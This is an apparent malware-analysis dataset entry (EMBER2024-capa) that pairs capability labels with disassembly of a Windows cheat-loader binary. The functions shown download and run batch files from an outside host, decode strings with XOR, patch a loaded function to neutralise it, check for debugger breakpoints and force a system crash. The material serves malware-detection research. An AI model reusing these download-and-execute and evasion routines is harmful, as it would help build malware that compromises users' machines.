joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002b5b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c68], 0
lea rbx, [rcx + 0x5c70]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14002b657
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14002b60a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14002dce0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140012e70
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c68]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c78]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140256798]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14002b65f
mov rcx, rbx
call fcn.140012e70
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14002ba10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movzx r8d, byte [rcx]
lea rdx, [rcx + 1]
mov r14, qword [0x1402567a0]
mov r9d, 0xffffffff
mov ebx, r9d
test r8b, r8b
je 0x14002ba74
lea r10, [0x140122cb0]
cmp r8b, 0x23
jne 0x14002ba57
cmp byte [rdx], r8b
jne 0x14002ba57
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x14002ba44
mov eax, dword [r14 + 0x5be0]
xor edi, edi
mov qword [rsp + 0x30], rbp
not ebx
mov qword [rsp + 0x38], rsi
test eax, eax
jle 0x14002bad5
mov esi, edi
mov ebp, edi
test rsi, rsi
js 0x14002ba9a
cmp edi, eax
jl 0x14002bab4
mov r8d, 0x709
lea rdx, str.C:Users_bDesktopDesktopDesktopALI_G_imgui_0order_90___loader_imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r14 + 0x5be8]
cmp dword [rax + rbp + 8], ebx
je 0x14002baf2
mov eax, dword [r14 + 0x5be0]
inc edi
inc rsi
add rbp, 0x48
cmp edi, eax
jl 0x14002ba91
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test edi, edi
js 0x14002baff
cmp edi, dword [r14 + 0x5be0]
jl 0x14002bb19
mov r8d, 0x709
lea rdx, str.C:Users_bDesktopDesktopDesktopALI_G_imgui_0order_90___loader_imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rax, edi
lea rcx, [rax + rax*8]
mov rax, qword [r14 + 0x5be8]
lea rax, [rax + rcx*8]
jmp 0x14002bad7
Function at 0x14004ec10
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xe8
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
xor eax, eax
xor r9d, r9d
mov qword [r11 - 0x18], rax
xor r8d, r8d
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [r11 - 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
movups xmmword [r11 - 0x48], xmm0
mov dword [rsp + 0x28], edx
movups xmmword [r11 - 0x38], xmm0
mov dword [rsp + 0x20], edx
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x28], xmm0
mov dword [rsp + 0x70], 0x68
mov word [r11 - 0x38], dx
mov rdx, rcx
xor ecx, ecx
mov dword [r11 - 0x3c], 1
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0xe8
ret

Function at 0x14004ecd0
Capabilities:
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsCheck.bat
lea rdx, str.https:__unban.es_Check.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.start_C:WindowsCheck.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x38
ret
Function at 0x140051ef0
Capabilities:
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
sub rsp, 0x78
movaps xmmword [rsp + 0x60], xmm6
movups xmm0, xmmword [0x14012c490]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14012c4a0]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14012c4a8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14012c4ac]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x14012c4ae]
mov byte [rsp + 0x5e], al
xor ecx, ecx
cmp dword [0x1401500d8], 2
jl 0x140052075
movdqa xmm5, xmmword [0x14012da10]
movdqa xmm4, xmmword [0x14012dcb0]
movdqa xmm6, xmmword [0x14012da50]
movdqa xmm0, xmmword [0x14012db00]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x44]
mov r8d, dword [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140051f73
cmp ecx, 0x1f
jge 0x1400520ac
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1f
jl 0x140052080
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windowsmacdelete.bat
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Windowsmacdelete.bat
call fcn.14004ec10
xor r9d, r9d
lea r8, str.Velo___Misc
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rsp + 0x80]
call fcn.14004da70
movabs rcx, 0x7ffffffed5fa0dfe
mov rax, qword [rsp + 0x80]
cmp rax, rcx
jg 0x14005212c
movabs rcx, 0x12a05f200
add rcx, rax
mov qword [rsp + 0x80], rcx
jmp 0x14005213e
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x80]
call fcn.140059510
lea rcx, str.C:Windowsmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x78
ret
Function at 0x140052840
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
sub rsp, 0x28
lea rcx, str.cmd__c_ipconfig__flushdns
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cmd__c_ipconfig__registerdns
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cmd__c_ipconfig__release
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cmd__c_ipconfig__renew
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cmd__c_netsh_winsock_reset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
lea r8, str.Velo___Misc
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
add rsp, 0x28
ret
Function at 0x14005ba20
Capabilities:
Delete file
Encode data using xor

Disassembly:
sub rsp, 0x68
cmp byte [0x14012c833], 0
movups xmm0, xmmword [0x14012c818]
mov eax, dword [0x14012c830]
mov dword [rsp + 0x48], eax
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14012c828]
movsd qword [rsp + 0x40], xmm0
je 0x14005bbed
xor ecx, ecx
cmp dword [0x1401500d8], 2
jl 0x14005bba9
movdqa xmm0, xmmword [0x14012daf0]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14012da10]
movdqa xmm4, xmmword [0x14012dcc0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x14012da40]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14005baa0
movaps xmm6, xmmword [rsp + 0x50]
cmp ecx, 0x1c
jge 0x14005bbed
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x1c
jl 0x14005bbc0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add rsp, 0x68
ret
Function at 0x140062740
Capabilities:
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140150080]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov r10, rcx
mov qword [rsp + 0x70], rcx
lea rcx, [rbp]
call fcn.1400628e0
lea rdx, [rbp + 0x48]
lea rcx, [rbp]
call fcn.1400621d0
nop
mov rdx, r10
lea rcx, [rbp - 0x80]
call fcn.1400579a0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.140073890
mov r8, qword [rax]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x80]
call fcn.1400738b0
mov rdx, qword [rax]
lea rcx, [rbp - 0x60]
call fcn.140075890
nop
lea rcx, [rbp - 0x60]
call fcn.14004ddc0
add ax, ax
mov word [rsp + 0x50], ax
mov word [rsp + 0x52], ax
lea rcx, [rbp - 0x60]
call fcn.1400577d0
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x40]
call fcn.1400628c0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006280f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.14004eaa0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x40]
call fcn.140073890
mov r8, qword [rax]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.1400738b0
mov rdx, qword [rax]
lea rcx, [rbp - 0x20]
call fcn.140075890
lea rcx, [rbp - 0x20]
call fcn.14004ddc0
add ax, ax
mov word [rsp + 0x60], ax
mov word [rsp + 0x62], ax
lea rcx, [rbp - 0x20]
call fcn.1400577d0
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x18], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0x10
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov edx, 3
mov r8d, edx
mov ecx, 0x50000018
call qword [sym.imp.ntdll.dll_ZwRaiseHardError]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14006ab80
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140150080]
xor rax, rsp
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
mov byte [rbp - 0x1c], al
nop dword [rax]
nop word [rax + rax]
cmp byte [0x14012ce21], 0
movsd xmm0, qword [0x14012ce18]
movzx eax, word [0x14012ce20]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
je 0x14006abf9
xor byte [rbp - 0x3f], 0x35
xor byte [rbp - 0x3e], 0x36
xor byte [rbp - 0x3d], 0x37
xor byte [rbp - 0x3c], 0x38
xor byte [rbp - 0x3b], 0x39
xor byte [rbp - 0x3a], 0x3a
xor byte [rbp - 0x39], 0x3b
xor byte [rbp - 0x38], 0x3c
xor byte [rbp - 0x37], 0x3d
mov byte [rbp - 0x40], 0x6e
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x14006adc4
cmp byte [0x14012d2f5], 0
mov ecx, dword [0x14012d2f0]
movsd xmm0, qword [str.pWQuJ_PlRWQ4A]
mov dword [rbp - 0x28], ecx
movzx ecx, word [0x14012d2f4]
mov word [rbp - 0x24], cx
mov qword [rsp + 0x70], rbx
movsd qword [rbp - 0x30], xmm0
je 0x14006ad8d
xor ecx, ecx
cmp dword [0x1401500d8], 2
jl 0x14006ad49
movdqa xmm2, xmmword [0x14012da10]
mov ecx, 8
movdqa xmm4, xmmword [0x14012dcc0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14012da30]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14012da40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.pWQuJ_PlRWQ4A]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14012daf0]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x30], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14012da40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x2c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14012daf0]
xorps xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x14006ad60
lea rdx, [rbp - 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14006adbf
mov edx, 1
lea r9, [rbp - 0x18]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14006adbf
mov byte [rbx], 0xc3
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400f4fe0
add rsp, 0x60
pop rbp
ret
Function at 0x14006b460
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140150080]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor eax, eax
mov qword [rsp + 0x24], rax
mov dword [rsp + 0x2c], eax
mov byte [rsp + 0x30], al
nop word [rax + rax]
mov rbx, qword [rsp + 0x88]
cmp byte [rbx], 0xcc
jne 0x14006b6e2
lea r9, [rsp + 0x58]
mov rcx, rbx
lea edx, [rax + 1]
lea r8d, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14006b6e2
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
mov edx, 1
mov byte [rbx], 0x90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x14012c5f0]
xor r9d, r9d
cmp dword [0x1401500d8], 2
mov ecx, r9d
movups xmm0, xmmword [0x14012c5e0]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x14012c5f4]
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x54], al
jl 0x14006b659
movdqa xmm0, xmmword [0x14012daf0]
lea rdx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14012da10]
movdqa xmm4, xmmword [0x14012dcc0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x70], xmm6
movdqa xmm6, xmmword [0x14012da40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x14006b550
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x15
jge 0x14006b69d
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x15
jl 0x14006b670
xorps xmm0, xmm0
mov qword [rsp + 0x30], r9
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], r9
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x14006b6c0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14004eb00
lea rcx, [rsp + 0x20]
call fcn.140064fa0
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f4fe0
add rsp, 0x80
pop rbx
ret
Function at 0x14006bd80
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x78
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x5c], eax
call fcn.1400f3550
test eax, eax
je 0x14006bfac
mov eax, dword [0x14012d5b0]
xor r9d, r9d
cmp dword [0x1401500d8], 2
mov ecx, r9d
movups xmm0, xmmword [0x14012d5a0]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x14012d5b4]
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x54], al
jl 0x14006bf19
movdqa xmm0, xmmword [0x14012daf0]
lea rdx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14012da10]
movdqa xmm4, xmmword [0x14012dcc0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x14012da40]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14012dab0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x14006be10
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x15
jge 0x14006bf5d
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x15
jl 0x14006bf30
xorps xmm0, xmm0
mov qword [rsp + 0x30], r9
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], r9
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x14006bf80
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14004eb00
lea rcx, [rsp + 0x20]
call fcn.140064fa0
mov eax, 0x1000
add rsp, 0x78
ret
xor eax, eax
add rsp, 0x78
ret
Function at 0x140076da0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140150080]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.1400f4650
lea rcx, [0x140062220]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140077220]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140076e1a
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400f4fe0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3